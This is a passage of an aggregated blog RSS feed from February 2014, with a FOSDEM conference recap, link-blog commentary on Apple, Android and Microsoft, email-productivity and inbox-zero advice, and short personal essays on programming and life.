&lt;h2&gt;&lt;a href="https://fosdem.org/2014/schedule/event/nsa_operation_orchestra/"&gt;NSA operation ORCHESTRA: Annual Status Report&lt;/a&gt; (Poul-Henning Kamp)&lt;/h2&gt;
&lt;p&gt;This was a fun talk where &lt;a href="http://phk.freebsd.dk/"&gt;phk&lt;/a&gt; endorsed the role of a NSA agent who mistakes the FOSDEM amphitheater for the European Commission and explains how they sabotage attempts to give the general public more privacy. Lots of conspiracy theory in there obviously, but given the recent events, is this really so absurd? phk argued at the end of the talk that the solution should be political and not technical.&lt;/p&gt;
&lt;p&gt;The format of the talk was a very good idea that worked really well on my brain tired by two days of conference, but also by two consecutive nights out filled with Belgian beer and other strong drinks. :)&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;FOSDEM is still a very good event which you should consider attending next year. Besides the talks, you will enjoy the parties and meeting people you only knew online. I hopefully will see you there.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Sun, 09 Feb 2014 20:30:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-02-09-fosdem-2014.html</guid></item><item><title>An Improved Liberal, Accurate Regex Pattern for Matching URLs</title><link>http://daringfireball.net/2010/07/improved_regex_for_matching_urls</link><description>&lt;p&gt;Last week John Gruber updated his regular expression for matching URLs from a relatively modest 205 characters to just shy of two thousand. Given that I wrote my own Markdown parser for this site and thus spent quite a bit of time crafting regular expressions myself, his article immediately piqued my interest. Unlike John though, who wrote his to actually match URLs, mine assumes that everything formatted as a Markdown link is, in fact, a link of some fashion and deals with it accordingly. Thus, we approached the problem from two very different directions, and solved it in very different ways as a result. Perhaps in the future, if I ever take First Crack public, the ability to detect valid URLS could prove useful; however, until then, my solution works just fine, and I see absolutely no reason to change it.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://daringfireball.net/2010/07/improved_regex_for_matching_urls"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 09 Feb 2014 12:29:05 GMT</pubDate><guid isPermaLink="true">http://daringfireball.net/2010/07/improved_regex_for_matching_urls</guid></item><item><title>Android instability</title><link>http://ben-evans.com/benedictevans/2014/2/8/instability</link><description>&lt;p&gt;Interesting article from Benedict Evans drawing parallels between the dynamics of today&amp;#8217;s smartphone industry where device manufacturers have no idea what the next five years could hold for the platform they base their entire business upon, Android, and the days of WinTel&amp;#8217;s dominance we are only just now beginning to see the decline of, where OEMs had concrete road maps upon which to build future devices to. This lack of stability could have served as one of the primary motivations behind Samsung agreeing to stop skinning Android: perhaps Google offered Android&amp;#8217;s largest adopter an offer they just couldn&amp;#8217;t pass up.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/2/8/instability"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 09 Feb 2014 12:11:27 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/2/8/instability</guid></item><item><title>Linus Edwards on Boredom</title><link>http://vintagezen.com/zen/2014/2/7/im-bored</link><description>&lt;p&gt;&amp;#8220;Don&amp;#8217;t just complain that tech podcasts are boring, create your own tech podcast that you don&amp;#8217;t find boring. Don&amp;#8217;t just complain that most blogs are posting such boring echo chamber posts, post more interesting posts that explore new topics. That is what the great visionaries in history have done, fought the boredom and let it push them into areas that they didn&amp;#8217;t find boring. That&amp;#8217;s creativity, pushing the boundaries of what came before and creating new and interesting things.&amp;#8221;&lt;/p&gt;

&lt;p&gt;Over the last few months it seems everyone decided to take a break from making great things and instead spend their time complaining. First it was link blogs, at whose feet we could lay the blame for some perceived decline in intelligent discourse on the internet. After that, tech podcasts were too long, unfocused, and lacked polish. And then just recently the topic of discussion revolved around iOS games and in-app purchases, with the most recent example in Flappy Bird. There is room for this critique, to be sure: in most cases it is not only completely justifiable, but necessary in order to move forward as an industry and a community. However, complaining to the exclusion of innovating, when the former completely takes the place of the latter, certainly warrants some serious reconsideration of your priorities. It&amp;#8217;s fine to say that you are dissatisfied with something, but don&amp;#8217;t let that proclamation get in the way of creating something better.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/2/7/im-bored"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 09 Feb 2014 11:59:19 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/2/7/im-bored</guid></item><item><title>The Empty Room</title><link>https://nindalf.com/posts/empty-room/</link><description>A short story</description><author>Krishna's blog</author><pubDate>Sun, 09 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/empty-room/</guid></item><item><title>An icy walk of creepitude</title><link>https://liza.io/an-icy-walk-of-creepitude/</link><description>&lt;p&gt;We went for a walk today and decided to go in the opposite direction than we usually take. We ended up in a suburb I think called Kärrtorp. The walk wasn&amp;rsquo;t very long, but certainly interesting! The weather was wet and gloomy, the path was more icy than expected, and we walked across a creepy-ass building. So yeah&amp;hellip;this post is pretty much about the building.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 08 Feb 2014 17:38:28 GMT</pubDate><guid isPermaLink="true">https://liza.io/an-icy-walk-of-creepitude/</guid></item><item><title>Three thoughts on the Iron Mountain tragedy</title><link>https://stop.zona-m.net/2014/02/three-thoughts-on-the-iron-mountain-tragedy/</link><description>&lt;p&gt;My first three thoughts after reading of the &lt;a href="http://www.washingtonpost.com/business/7-die-in-fire-destroying-argentine-bank-archives/2014/02/05/7c489abc-8e70-11e3-878e-d76656564a01_story.html"&gt;Iron Mountain fire in Buenos Aires&lt;/a&gt; were, in this order:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 08 Feb 2014 16:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/02/three-thoughts-on-the-iron-mountain-tragedy/</guid></item><item><title>Some Thoughts About Writing</title><link>http://patrickrhone.com/2014/02/05/some-thoughts-about-writing/</link><description>&lt;p&gt;Patrick Rhone shares some great insights into writing after a lifetime spent with the craft. Not just on writing though, but about blogging, setting expectations, and attaining success as well. A great read.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://patrickrhone.com/2014/02/05/some-thoughts-about-writing/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 08 Feb 2014 10:38:38 GMT</pubDate><guid isPermaLink="true">http://patrickrhone.com/2014/02/05/some-thoughts-about-writing/</guid></item><item><title>The worst program I ever worked on</title><link>https://boyter.org/2014/02/worst-program-worked/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;The worst program I ever worked on was something I was asked to maintain once. It consisted of two parts. The first was a web application writen in ASP. The second portion was essentially Microsoft Reporting Services implemented in 80,000 lines of VB.NET.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;
&lt;p&gt;The first thing I did was chuck it into VS2010 and run some code metrics on it. The results were, 10 or so Methods had 2000+ lines of code. The maintainability index was 0 (number between 0 and 100 where 0 is unmaintainable). The worst function had a cyclomatic complexity of 2700 (the worst I have ever seen on a function before was 750 odd). It was full of nested in-line dynamic SQL all of which referred to tables with 100+ columns, which had helpful names like sdf_324. There were about 5000 stored procedures of which most were 90% similar to other ones with a similar naming scheme. There were no foreign key constraints in the database. Every query including updates, inserts and deletes used NOLOCK (so no data integrity). It all lived in a single 80,000 line file, which crashed VS every time you tried to do a simple edit.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sat, 08 Feb 2014 03:00:03 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/worst-program-worked/</guid></item><item><title>How I hack email</title><link>/2014/02/07/my-email-hacks/</link><description>&lt;p&gt;In a conversation with &lt;a href="http://www.twitter.com/alexbaldwin"&gt;@alexbaldwin&lt;/a&gt; yesterday the topic of email came up, with each of us quickly diving into various observations, how its both awesome and a great form of communication/engagement, how most people still do it really bad. Alex has some good experience with it with hack design having over 100,000 subscribers. A tangent in an entirely unrelated meeting with &lt;a href="http://www.twitter.com/mschoening"&gt;@mschoening&lt;/a&gt; and others it was suggested instead of emailing a list to send out a ton of individual emails instead. Both of these reminded me that email is incredibly powerful, but taking advantage of its power has to be intentional.&lt;/p&gt;
&lt;p&gt;This is not about ways to get to inbox 0 or better manage your inflow of emails. Rather its about how to get the maximum output out of emails that you send, or minimum output depending on what you prefer.&lt;/p&gt;
&lt;h3 id="1-email-to-100-vs-100-emails-to-1"&gt;
&lt;div&gt;
1 email to 100 vs. 100 emails to 1
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This is perhaps my favorite approach to get more efficient feedback and also know how broad an impact something has. Most smaller companies or groups within a company have a mailing list thats &lt;a href="mailto:all@yourcompany.com"&gt;all@yourcompany.com&lt;/a&gt; or &lt;a href="mailto:ourgroup@mycompany.com"&gt;ourgroup@mycompany.com&lt;/a&gt;. When people want to communicate out to the entire list its a great mechanism, however when you want feedback from the entire company its not a great mechanism.&lt;/p&gt;
&lt;p&gt;The reason being is that most people will know how many are on that list and assume that someone else will pick it up. This concept is fairly common in physical settings known as the &lt;a href="http://en.wikipedia.org/wiki/Bystander_effect"&gt;bystander effect&lt;/a&gt;, stating that individuals often do not offer up help to a victim when there are other bystanders preset.&lt;/p&gt;
&lt;p&gt;Finally in certain situations you&amp;rsquo;ll want to hear the same thing 100 times. Hearing something once doesn&amp;rsquo;t represent how much others echo that. You&amp;rsquo;ll only see so many +1s on a thread, getting 100 individual responses ensure you get not only the breadth of responses but amplitude of them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;FWIW, I ran a test of this sending an email to essentially all@heroku, then an individualized email in a similar form. The one directly addressed to people received 5x response as well as more thorough responses in the same time frame&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="scaling-requests-for-input"&gt;
&lt;div&gt;
Scaling requests for input
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The issue that typically exists with the above is that you don&amp;rsquo;t want 100 responses from 100 people most of the time. Most of the time you want feedback from 2 or 3, then feedback from 4 or 5, then smaller feedback or revision from the rest of that 100. This is actually how I craft blog posts, I start with broad messaging/theming. At that level there&amp;rsquo;s truly 100 different directions it could go, that kind of input it not helpful when I have to narrow it down to a single one. When collecting product/roadmap input it can be helpful. Knowing which of the two I&amp;rsquo;m aiming for is critical in deciding a method.&lt;/p&gt;
&lt;h3 id="being-explicit-about-the-before-and-the-ask"&gt;
&lt;div&gt;
Being explicit about the before and the ask
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;On the note of crafting a blog post I do usually start with a request from 2 or 3 to get general direction. This takes the effect of, is this interesting? From here though theres still further refinement. The next phase is, does this flow, does it make sense? Here having a broader list is helpful so usually it&amp;rsquo;ll hit around 4 to 5 people. Finally I&amp;rsquo;ll revert to the 1 email to 100 people on a mailing list asking for grammar input because mine is crap. Here I don&amp;rsquo;t mind the bystander effect because I want people to intentionally filter so it works well.&lt;/p&gt;
&lt;p&gt;The key at each step of the process is being extremely clear of whats already been done. With a blog post as an example&amp;hellip; If I don&amp;rsquo;t explain the process of people having reviewed and set the goals and some consensus that it meets them, that several have been over it for flow, and that what I&amp;rsquo;m looking for now which is grammar feedback.&lt;/p&gt;
&lt;h3 id="circulating-through-people"&gt;
&lt;div&gt;
Circulating through people
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Email and requests are a time burden on people. I commonly diversify and circle through a set of people. Much in the same way I reach out to people to have drinks or coffee every so often I am to not do the same person every week and only that person with the exception of my wife.&lt;/p&gt;
&lt;p&gt;Having more of a rotating basis of getting through people increases their excited-ness to provide input. If I&amp;rsquo;m always going back to the same people they may feel slightly drained by my constant requests, and quite rightfully so. At the same time the input is good, but diversifying where you receive it gives a broader perspective.&lt;/p&gt;
&lt;h3 id="delayed-sending"&gt;
&lt;div&gt;
Delayed sending
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This is one that may be a little more obvious to people. But sending an email to slow down a thread, not seem over eager, or for whatever other reason you may have is hugely useful. There&amp;rsquo;s really two tools I look to here: 1. &lt;a href="http://www.boomeranggmail.com/referral_download.html?ref=vsz82"&gt;Boomerang&lt;/a&gt; and 2. &lt;a href="http://www.yesware.com"&gt;Yesware&lt;/a&gt;. Both have slightly different benefits. Boomerang with a much simpler interface, Yesware better integration with Salesforce. Regardless of which you choose, if you ever want to type and email but send it at some point later one of these is critical.&lt;/p&gt;
&lt;h3 id="fin"&gt;
&lt;div&gt;
Fin.
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;While this list is less of a defined process and more of a collection of random processes, several of these I&amp;rsquo;d be much less effective without, and the collection of all makes getting appropriate reactions from email incredibly useful. I&amp;rsquo;d love to hear what hacks you use to elicit positive impact from the emails you receive, as always if you have feedback please drop me a note.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Fri, 07 Feb 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/02/07/my-email-hacks/</guid></item><item><title>Bill Gates' Steve Jobs' Moment</title><link>http://stratechery.com/2014/bills-steve-moment/</link><description>&lt;p&gt;Great piece from Ben Thompson on Satya Nadella&amp;#8217;s recent ascension to power over at Microsoft. Although I have not followed this saga closely&amp;#160;&amp;#8212;&amp;#160;a fancy way of saying that I just don&amp;#8217;t care&amp;#160;&amp;#8212;&amp;#160;I found Ben&amp;#8217;s thoughts on the topic, as usual, very interesting. Perhaps one day we will look back on this day as the turning point after which Microsoft started an upwards trend of relevance, profitability, and innovation. Perhaps, but I&amp;#8217;m not getting my hopes up.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/bills-steve-moment/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 07 Feb 2014 20:40:29 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/bills-steve-moment/</guid></item><item><title>The Big iPhone</title><link>http://tabdump.com/blog/2014/2/5/the-big-iphone</link><description>&lt;p&gt;Stefan Constantinescu has some very interesting ideas regarding Apple&amp;#8217;s future plans for its mobile phone line with the launch of the iPhone 6 this fall. I wrote about &lt;a href="https://zacs.site/blog/its-a-crapshoot.html"&gt;my thoughts on the topic&lt;/a&gt; a couple weeks ago, but the possibility of an iPhone 6C built according to the new form factor of the 6 with 5S internals did not occur to me. Very interesting, both this idea and his reasoning behind the imminence of a larger iPhone, and his justification for the form factor he ultimately puts forth as most likely in the coming year. Well worth the read.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tabdump.com/blog/2014/2/5/the-big-iphone"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 07 Feb 2014 17:17:27 GMT</pubDate><guid isPermaLink="true">http://tabdump.com/blog/2014/2/5/the-big-iphone</guid></item><item><title>How We Failed Our Way to a Day on the Front Page of Hacker News</title><link>http://groovehq.com/blog/hacker-news</link><description>&lt;p&gt;A few days ago I wrote &lt;a href="https://zacs.site/blog/algorithmic-ineptitude.html"&gt;&lt;em&gt;Algorithmic Ineptitude&lt;/em&gt;&lt;/a&gt;, where I took Hacker News, Digg, and Reddit to task for recommending articles based on flawed algorithms rather than employing humans to perform the same task in a much better way. That same day I found a post by Alex Turnbull of Groove talking about his team&amp;#8217;s efforts to game Hacker News. Although his well-researched, reasonable methodology ultimately failed, its existence highlights a huge shortcoming in this service to actually bring good content to the attention of its users, and I highly doubt Hacker News is the only site creators have gamed in exchange for pageviews and thus increased revenue.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://groovehq.com/blog/hacker-news"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 07 Feb 2014 15:37:40 GMT</pubDate><guid isPermaLink="true">http://groovehq.com/blog/hacker-news</guid></item><item><title>Apple buys back $14 billion in stock</title><link>http://9to5mac.com/2014/02/06/tim-cook-says-apple-has-repurchased-14-billion-of-aapl-since-q1-earnings-report/</link><description>&lt;p&gt;Right on the heels of its quarterly earnings call, after an 8% drop in price, Apple shelled out $14,000,000,000 in continuation the buyback program it started &lt;a href="http://www.apple.com/pr/library/2012/03/19Apple-Announces-Plans-to-Initiate-Dividend-and-Share-Repurchase-Program.html"&gt;in 2012&lt;/a&gt;. Contrary to 9to5mac&amp;#8217;s report, I have a hard time believing Tim Cook was at all surprised by this drop; rather, a much more likely scenario would have found him counting on such a devaluation regardless of what he said, did, or otherwise announced during the earnings call. What better time to conduct a large buyback program than at nearly 10% off? If anything, it may have surprised him that it did not fall farther. &lt;a href="http://www.loopinsight.com/2014/02/06/apple-buys-back-14-billion-in-stock/"&gt;As Jim Dalrymple said&lt;/a&gt;, &amp;#8220;Apple is being very strategic with every move it makes.&amp;#8221; I completely agree.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://9to5mac.com/2014/02/06/tim-cook-says-apple-has-repurchased-14-billion-of-aapl-since-q1-earnings-report/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 07 Feb 2014 15:00:25 GMT</pubDate><guid isPermaLink="true">http://9to5mac.com/2014/02/06/tim-cook-says-apple-has-repurchased-14-billion-of-aapl-since-q1-earnings-report/</guid></item><item><title>The New Way to Work: Charlie Hoehn at TEDxCMU</title><link>http://youtu.be/e5qUR3tpEdA</link><description>&lt;p&gt;I&amp;#8217;ve seen some &lt;a href="https://zacs.site/blog/we-need-to-talk-about-ted-video.html"&gt;great critiques&lt;/a&gt; of TED in the past, but I really enjoyed Charlie Hoehn&amp;#8217;s talk from 2011 on free work&amp;#160;&amp;#8212;&amp;#160;essentially, what amounted to &amp;#8220;do what you love on nights and weekends until it becomes a viable business, then take it full-time.&amp;#8221; There is quite a bit more nuance to Charlie&amp;#8217;s approach though, so I strongly encourage you to check his video out. It&amp;#8217;s a bit long, but&amp;#160;&amp;#8212;&amp;#160;as he said in closing&amp;#160;&amp;#8212;&amp;#160;what do you have to lose?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://youtu.be/e5qUR3tpEdA"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 07 Feb 2014 09:41:16 GMT</pubDate><guid isPermaLink="true">http://youtu.be/e5qUR3tpEdA</guid></item><item><title>Why you should never ask permission to clean up code</title><link>https://boyter.org/2014/02/permission-clean-code/</link><description>&lt;p&gt;This is something that took me 2 years or so to learn. One day I realised nobody was really looking at my timecards in depth so I started allocating extra time to things and using the extra time to fix the things I thought needed fixing. Once I started delivering on this I showed my manager who agreed that it was a good use of time. I was given free reign to fix anything I felt would add maximum value, provided the bug fixes continued to be delivered without any major compromise.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 07 Feb 2014 03:00:06 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/02/permission-clean-code/</guid></item><item><title>Five Days to Inbox Zero: How to Get Control of your Email</title><link>https://josh.works/2014/02/07/five-days-to-inbox-zero-how-to-get-control-of-your-email/</link><description>&lt;p&gt;Email is a constant in our lives, yet it can be so overwhelming that it becomes almost 100% ineffective.
I discussed with a friend the other day why they should switch from Yahoo to Gmail, and how to reduce the useless emails they receive. Below is how I suggested they move from one account to another, and how to leave all their crappy emails behind, and how to get to 
&lt;a href="http://inboxzero.com/video/"&gt;Inbox Zero&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you already use Gmail, save yourself some effort, and sign up for 
&lt;a href="http://unroll.me"&gt;unroll.me&lt;/a&gt;, then read 
&lt;a href="http://klinger.io/post/71640845938/dont-drown-in-email-how-to-use-gmail-more"&gt;this article&lt;/a&gt; on managing important emails.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you don’t already use Gmail, why should you make the switch?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;You can 
&lt;a href="https://support.google.com/mail/answer/6576?hl=en"&gt;archive&lt;/a&gt; any email, and it will be gone from your inbox, but still searchable. (For example, my inbox has four emails in it, but if I look at ALL the email in my account, I’ve got almost 9000 emails. I can archive it, forget about it, and then use Google’s amazing search tools to find it later.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Google calendar is extremely versatile. Y’all can each plan things, share calendars, and stay on the same page.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Google Drive is a nice way to keep all your files in one place - you can use it on your phone, and do plenty of other things with it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You can sign into websites using your google accounts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://klinger.io/post/71640845938/dont-drown-in-email-how-to-use-gmail-more"&gt;You can set up a simple system to keep your email inbox to ZERO!&lt;/a&gt; (It is life changing. Seriously. That little article has changed everything about how I manage email.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If I’ve convinced you, here is how to take the plunge: (Substitute “yahoo” with your own service provider.)&lt;/p&gt;

&lt;p&gt;Day one: Sign up for 
&lt;a href="http://unroll.me"&gt;unroll.me&lt;/a&gt;. You’ll unsubscribe from everything in your Yahoo account. Could be hundreds of subscriptions. It is life changing.&lt;/p&gt;

&lt;p&gt;Day two:Head over to 
&lt;a href="http://gmail.com"&gt;gmail.com&lt;/a&gt; and sign up for an email account. Some variation of 
&lt;a href="mailto:firstname.lastname@gmail.com"&gt;firstname.lastname@gmail.com&lt;/a&gt; is ideal, but I couldn’t get anything close to 
&lt;a href="mailto:josh.thompson@gmail.com"&gt;josh.thompson@gmail.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Day three: Time to clean out your Yahoo inbox. Gmail will automatically import all email in your inbox, so get rid of everything in your inbox that you don’t want to keep.I would temporarily move the last three weeks of emails in your inbox to a separate folder, then delete EVERYTHING else in your inbox.&lt;/p&gt;

&lt;p&gt;Day four:Follow 
&lt;a href="http://www.wikihow.com/Switch-from-Yahoo%21-Mail-to-Gmail"&gt;these steps&lt;/a&gt; to import contacts to your gmail account, forward all new email, and get your basic settings tweaked in gmail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Day five:&lt;/strong&gt;
Sign up 
&lt;a href="http://unroll.me"&gt;unroll.me&lt;/a&gt; for your new Gmail account. Email me when you’re done.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;What you’ve accomplished so far:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Signed up for gmail.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Deleted thousands of emails, and unsubscribed from dozens of news letters.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Started fresh with a new email account.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using the above tools, this is my inbox today: (The things on the right are “to do” “waiting for reply” and “to reference in the next week”, respectively. Nothing in the inbox. It’s all been processed.)&lt;/p&gt;

&lt;p&gt;[&lt;img alt="Inbox-thompsonjoshd_gmail_com_-_Gmail-10](/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe58e4b0278244cea0e1_1434910436190_inbox_-_thompsonjoshd_gmail_com_-_gmail-10.jpg_)" src="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe58e4b0278244cea0e1/1434910436190/inbox_-_thompsonjoshd_gmail_com_-_gmail-10.jpg" /&gt;If you’re not controlling your inbox, it is controlling you.
&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe58e4b0278244cea0e1/1434910436190/inbox_-_thompsonjoshd_gmail_com_-_gmail-10.jpg"&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2014/02/07/five-days-to-inbox-zero-how-to-get-control-of-your-email/</guid></item><item><title>How to Save 90% on Your S3 Bill</title><link>https://nicolaiarocci.com/how-to-save-90-on-your-s3-bill/</link><description>&lt;p&gt;If you are using Python and the awesome Boto library to access Amazon S3, make sure you don’t miss &lt;a href="http://www.appneta.com/blog/s3-list-get-bucket-default/"&gt;How to Save 90% on Your S3 Bill&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/how-to-save-90-on-your-s3-bill/</guid></item><item><title>Why AngularJS Will Be Huge</title><link>https://nicolaiarocci.com/why-angularjs-will-be-huge/</link><description>&lt;blockquote&gt;
&lt;p&gt;The reality is that AngularJS is winning the frontend framework war. It’s not to say there aren’t great, high quality alternatives out there, but few have gained so much developer mindshare that slow and conservative companies see it as a wonderful investment. And it’s all the better that normal developers actually love developing with it!&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://ionicframework.com/blog/angularjs-will-be-huge/"&gt;Why AngularJS Will Be Huge&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/why-angularjs-will-be-huge/</guid></item><item><title>Life, defined by the environment</title><link>http://dimitarsimeonov.com/2014/02/07/life-defined-by-the-environment</link><description>&lt;p&gt;Each person has multiple talents but only gets to develop few of them in their lifetime, based on the environment and the situation they are in. For example, I bet there were many people in the past who would have been great programmers, but since computers didn’t exist, and the theory wasn’t developed, they never got to see how good they were. Some of them possessed a mind that would come up with genius ideas in computer science, but instead they never were in an environment where they could shine, so they focused on their other tallents, in fighting wars, or agriculture or construction, or whatever their society rewarded that they were good at.&lt;/p&gt;

&lt;p&gt;So far, as far as my talents go, I’ve discovered that I’m good in Math. In high school there was an opportunity for participating in competitions, so i competed and I did well. Later, in university, I got interested in Artificial Intelligence and Computer Science, and had some success there as well, graduating with a Masters degree. Studying and applying computer science is a lot of fun, but besides the fun of doing it, I honestly think I’ve decided to work in this area because it is novel and developing and therefore provides great opportunities. This is not bad, but makes me wonder - what if I were born in different times, with different incentives? Would I have become a farmer, an artist, a builder if I were born in the past, or in country where these seemed like the best opportunities. Could I select my vocation intrinsically, rather than chasing the best opportunities.&lt;/p&gt;

&lt;p&gt;I’d like be mindful about my own life, rather than selling away my mindfullness and letting my life go on on auto-pilot. I’d like to discover myself through selecting my challenges, and not just responding to the environment.&lt;/p&gt;

&lt;p&gt;Has anyone been fully free to pursue their own intrinsic desires? I guess that people born into rich families with a lot of opportunities had some say in what they could spend their time on. And even they are still limited in many ways - they may not have access to the environment to do the things that they might be interested, might not have the know-how, the education and training for it, and might be influenced by the needs of their time and environment.&lt;/p&gt;

&lt;p&gt;I hope to be freer in the future and do more self experiments, where I try to develop into directions of my choosing. Realistically, I think I will never be fully free from reacting to my environment - sometimes good opportunities come and they are too good to pass on, as they may open the doors to many other great opportunities.&lt;/p&gt;

&lt;p&gt;Also I might decide that a cause is more importsnt than my own intrinsic desires, and decide to devote a lot of my conscous effort towards it. There are many famous and infamous people such as Mandela, Che Guevara and Snowden who devote most of their developement, effort and life on a give cause. Additionally, and this is where I’m geeking out, I’m not convinced that intrinsic desire is mathematically well defined concept. It is hard to imagine a hipothetical situation where there are no restrictions and yet the environment remains neutral to the individuals.&lt;/p&gt;

&lt;p&gt;I am grateful to be lucky, that I’ve had some great opportunities in my life, that I’ve taken advantage of, such as the math competitions in high school and the good jobs out of college. I’m also grateful for people I’ve met that have influenced me to develop in directions that I didn’t originally plan to develop myself into, such as running, and cooking, and writing.&lt;/p&gt;

&lt;p&gt;I am trying to stay humble and realize that I’m no special, in different times I probably would have had much more misserable life, and that even though I’ve walked a path that’s brought me to a pretty comfortable, better than the average on the planet, very little bit of the credit comes to me. I’ve simply taken advantages of the cards that I was dealt so far.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/02/07/life-defined-by-the-environment</guid></item><item><title>Why I Removed Social Media Buttons from My Site</title><link>https://solomon.io/why-im-done-with-social-media-buttons/</link><description>I removed social media buttons from my site in 2014 after noticing they got near-zero clicks. Here's what I learned—and why the share-button era ended.</description><author>Sam Solomon</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/why-im-done-with-social-media-buttons/</guid></item><item><title>A Soul Crushing Exercise</title><link>https://www.danstroot.com/posts/2014-02-07-a-soul-crushing-excercise</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/soulcrushing.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;This morning I saw a post on LinkedIn by Bob Sutton who is a Stanford Professor and Co-author of Scaling up Excellence.  He discusses Adobe's move to abolish it's employee stack ranking system.  After the system was eliminated, one Adobe employee noted that a feeling of relief spread throughout the company because the old annual review system was “a soul-less and soul crushing exercise.”&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-02-07-a-soul-crushing-excercise"&gt;A Soul Crushing Exercise&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Fri, 07 Feb 2014 02:00:00 GMT</pubDate><guid 